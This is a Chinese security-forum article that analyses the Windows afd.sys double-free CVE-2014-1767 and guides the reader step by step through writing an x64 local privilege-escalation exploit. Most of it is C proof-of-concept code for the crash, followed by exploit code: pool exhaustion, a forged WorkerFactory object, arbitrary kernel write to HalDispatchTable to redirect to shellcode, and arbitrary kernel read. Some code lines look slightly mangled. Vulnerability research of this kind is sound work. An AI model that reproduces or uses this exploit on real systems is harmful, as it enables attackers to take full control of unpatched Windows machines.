其他
Windows本地提权漏洞CVE-2014-1767分析及EXP编写指导
本文为看雪论坛精华文章
看雪论坛作者ID:ExploitCN
一
简介
1.1 写作目的
1.2 概述
1.3 非常重要的说明
① 本文侧重点在POC、EXP编写,从逆向与调试的角度引领你分析、编写POC、EXP;
② 本文是首篇针对该漏洞在x64平台下的分析、编写文章;
③ 全网最详细POC、EXP的编写说明;
④ EXP完全复用POC的代码;
⑤ 上传的EXP是我自己编写的。
二
POC分析
2.1 POC代码
ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
if (FinalLength == 0x100)
{
break;
}
else
{
BaseLength += 1;
continue;
}
}
return BaseLength;
}
int main()
{
int nBottonRect = 0x2aaaaaa;
while (true)
{
HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
if (hrgn==NULL)
{
break;
}
printf("hrgn = %p\n", hrgn);
}
//这儿看IoAllocateMdl(ntoskrnl)
DWORD length = CalcLength();
printf("Length = %x\n", length);
DWORD virtualAddress = 0x13371337;
static BYTE inbuf1[0x40];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
*(ULONG*)(inbuf1 + 0x28) = length;
*(ULONG*)(inbuf1 + 0x3c) = 1;
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
*(ULONG*)(inbuf2) = 1;
*(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
}
2.2 POC运行结果
运行上面POC代码,系统出现蓝屏后的windbg调试结果见上图(上图并不是原始输出,我把一些不重要的数据删除了)。从第一个红框可以看出:
① 这是一个双重释放漏洞;
② 双重释放的代码在afd!AfdReturnTpinfo+0xe7。
可见,在afd!AfdReturnTpinfo+0xe1处,是IoFreeMdl函数,它是用来释放Mdl指针的。那么,释放完之后,有没有对指针进行清零处理?我们来看看反编译代码:
根据上面分析可知,IoFreeMdl肯定被执行了两次,那么,在后面我们进行分析时,可以在此处下断点,看这块内存是怎么变化的。现在,我们来看看,程序为什么会调用IoFreeMdl两次。
2.3 漏洞产生的根本原因
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
时,afd!afdTransmitFile+0x2CD调用MmProbeAndLockPages函数判断的地址,是POC里面指定的0x13371337这个非法地址,所以会出现异常,如下图所示:
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
因为POC里面指定的内存空间是0x0AAAAAAA*0x18,在afd!afdTransmitPackets中调用afd!AfdTliGetTpInfo,执行ExAllocatePoolwithQutaTag时失败后,会跳到AfdReturnTpinfo函数执行,如下图:
三
x64平台POC编写指导
3.1 第一阶段:消耗系统内存
int nBottonRect = 0x2aaaaaa;
while (true)
{
HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
if (hrgn==NULL)
{
break;
}
printf("hrgn = %p\n", hrgn);
}
3.2 第二阶段:构造Inbuff1
3.2.1 Inbuff1的输入长度构造
现在,我们需要看看IoAllocateMdl是如何分配内存空间的,反编译nt!IoAllocateMdl,可得:
我们的CalcLength函数,就是为了输入Length,得到一个固定的内存0x100。基本思路是:
① 初始Length从0x10000开始;
② ViRtualAddress是非法地址0x13371337;
ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
FinalLength = ((BaseLength & 0xFFF) + ((unsigned
__int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
if (FinalLength == 0x100)
{
break;
}
else
{
BaseLength += 1;
continue;
}
}
return BaseLength;
}
3.2.2 Inbuff1的参数构造
__fastcall AfdTransmitFile(PIRP pIRP, PIO_STACK_LOCATION pIoStackLocation)
__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)
kd> dt _io_stack_location
ntdll!_IO_STACK_LOCATION
+0x000 MajorFunction : UChar
+0x001 MinorFunction : UChar
+0x002 Flags : UChar
+0x003 Control : UChar
+0x008 Parameters : <unnamed-tag>
//struct{
// +0x008 ULONG OutputBufferLength;
// +0x010 POINTER_ALIGNMENT InputBufferLength;
// +0x018 POINTER_ALIGNMENT IoControlCode;
// +0x020 Type3InputBuffer
//}
+0x028 DeviceObject : Ptr64 _DEVICE_OBJECT
+0x030 FileObject : Ptr64 _FILE_OBJECT
+0x038 CompletionRoutine : Ptr64 long
+0x040 Context : Ptr64 Void
rsp+8c、rsp+78、rsp+70等等,我们就无法知道这些参数在inbuff1的位置。
由上图可知:
static BYTE inbuf1[0x40];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
*(ULONG*)(inbuf1 + 0x28) = length;
*(ULONG*)(inbuf1 + 0x3c) = 1;
3.3 第三阶段:构造Inbuff2
① 第103行表明,输入的inbuff2长度至少为0x18字节,所以我们定义的就是0x18字节;
② 由第114行可知,v7就是我们的inbuff2;
③ 由125行可知,inbuff2的第0个字节等于1,就不会进入if;
④ 由136行可知,输入的v52是分配系数,分配的大小是0x18输入长度,现在分配的长度是0xaaaaaaa018字节,而我们在第一阶段就已经把内存消耗完,这里执行只会失败。
综上,可得:
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
(ULONG)(inbuf2) = 1;
(ULONG)(inbuf2 + 0x8) = 0x0AAAAAAA;
3.4 触发漏洞
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
四
x64平台EXP编写指导
4.1 基本思路
第一步:构造FakeWorkerFactory
const DWORD FakeObjSize = 0x100;
static BYTE FakeWorkerFactory[FakeObjSize];
memset(FakeWorkerFactory, 0, FakeObjSize);
static BYTE ObjHead[0x50] =
{
0x00,0x00,0x00,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x16,0x00,0x08,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
memcpy(FakeWorkerFactory, ObjHead, 0x50);
static BYTE a[0x18+0x4+0x4] =
{ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //18个
0x00,0x00,0x00,0x00, //*(_QWORD *)Object + 0x18
0x00,0x00,0x00,0x00
};
PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory + 0x50);
*pFakeObj = a;
printf("object a : = %p\n", a);
printf("pFakeObj = %p\n", pFakeObj);
4.1.1 windbg确认WorkFactory的大小
NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag。
4: kd> bl
0 e Disable Clear fffff8000438c8fa 0001 (0001) nt!ObpAllocateObject+0x12a "r rdx;gc" 1 e Disable Clear fffff80004374b08 0001 (0001) nt!NtCreateWorkerFactory
C、然后继续g,
1: kd> g
rdx=0000000000000100
rdx=00000000000004f8
rdx=0000000000000068
rdx=00000000000000a8
rdx=00000000000000a8
rdx=0000000000000068
rdx=00000000000000a8
这就是为什么我们在3.1.1要费尽心思构造pool为0x100的原因。
4.1.2 windbg确认WorkFactory的内存数据
kd> bl
0 d Enable Clear fffff800`01faab08 0001 (0001) nt!NtCreateWorkerFactory
1 d Enable Clear fffff800`01cb56d0 0001 (0001) nt!NtSetInformationWorkerFactory ".if(rdx==8){r rdx;r r9}.else{gc;}"
2 d Enable Clear fffff800`01cb5879 0001 (0001) nt!NtSetInformationWorkerFactory+0x1a6
3 d Enable Clear fffff800`01fc28fa 0001 (0001) nt!ObpAllocateObject+0x12a(这儿是NtCreateWorkerFactory的nt!ExAllocatePoolWithTag,看pool)
4 d Enable Clear fffff800`01faacc9 0001 (0001) nt!NtCreateWorkerFactory+0x1c1(这儿是createobject的下一句,看object)
由上图,可以得到:
从上图,可以得到:
数据是怎么被覆盖的?用的是4.1.3介绍的nt!NtQueryEaFile函数。
4.1.3 覆盖WorkFacroty内存数据
NTSTATUS __stdcall NtQueryEaFile
(HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer, ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan)
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize , NULL, FALSE);
EaIndex---> FakeObjSize
再来看看fpQueryEaFile的反汇编代码。
执行这个函数之后,伪造的数据就被拷贝到了之前释放的pool处,然后根据相应的函数操作WorkFactory的内存,就可以实现任意地址写和读了。
但是这里有一个关键点,就是在函数的最后,它会释放内存,如下图:
这就意味着,我们操纵的,仍然是一个已经释放的内存,所以需要注意调试的速度。如果pool被再次替换受控和释放,我们的读取和写操作将失败,结果将是错误检查。所以读取和写入必须在每次之后立即完成。
这很关键,请牢牢记住。
4.2、第二步:任意写实现
在第175行,传入handle,通过ObReferenceObjectByHandleWithTag函数索引,就可以得到object,这个object就是我们代码里面的变量a。在NtSetInformationWorkFactory函数里面,任意写是这行代码:
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = v64;
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = shellcode地址高四位
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = shellcode地址低四位
(_QWORD )((_QWORD )Object + 0x18i64) + 0x2Ci64等于kHalDsipatchTable地址,那么,当系统调用该函数赋值的时候,就会把shellcode地址高四位或低四位写入HalDsipatchTable。所以,写入shellcode地址时,需要把高四位和第四位分开写:
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C (低4位)
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C + 4 (高4位)
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C);
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C + 0x04);
static ULONG_PTR ShotAddress = (ULONG_PTR)ShellCode;
DWORD what_write2 = ShotAddress >> 32 & 0xffffffff;
DWORD what_write1 = ShotAddress & 0xffffffff;
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write1, 0x4);
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write2, 0x4);
上面fpSetInformationWorkerFactory函数第二个形参和第4个形参的选择分别是WorkerFactoryAdjustThreadGoal(0x8)、0x4,原因如下:
4.3 第三步:任意读实现
由上图可知:
① 输入的内存长度必须是0x78;
② 选择的读取地址是(QWORD*)object+0x10;
③ 第二个参数必须等于7,也就是要等于WorkerFactoryBasicInformation。
Src[11] = *(_QWORD *)(v14[0x10] + 0x180i64);
*(ULONG_PTR*)(pFakeObj + 0x10) = (ULONG_PTR)kHalDsipatchTable + sizeof(PVOID) - 0x180 ;
//然后构造fpQueryInformationWorkerFactory为:
static BYTE kernelRetMem[0x78];
memset(kernelRetMem, 0, sizeof(kernelRetMem));
fpQueryInformationWorkerFactory(hWorkerFactory,
WorkerFactoryBasicInformation,(0x7)
kernelRetMem,
0x78,
NULL);
kfpHaliQuerySystemInformation = *(PVOID*)(kernelRetMem + 8 * 0xB);
五
调试数据
0 e Disable Clear fffff880`05161581 e 1 0001 (0001) afd!AfdReturnTpInfo+0xe1
1 e Disable Clear fffff800`0432dfe1 e 1 0001 (0001) nt!NtQueryEaFile+0x171
第二次执行IoFreeMdl后的目标内存见下图:
六
缓解措施
七
提权结果
八
代码
我没有上传C版本的POC,因为把EXP中创建WorkerFactory代码删除,就直接可以得到POC代码了。
九
后言
另外感谢看雪给我的奖励,新年收到看雪的美团购物卡,在此感谢。
看雪ID:ExploitCN
https://bbs.pediy.com/user-home-945611.htm
# 往期推荐
2.高级进程注入总结
6.FartExt超进化之奇奇怪怪的新ROM工具MikRom
球分享
球点赞
球在看
点击“阅读原文”,了解更多!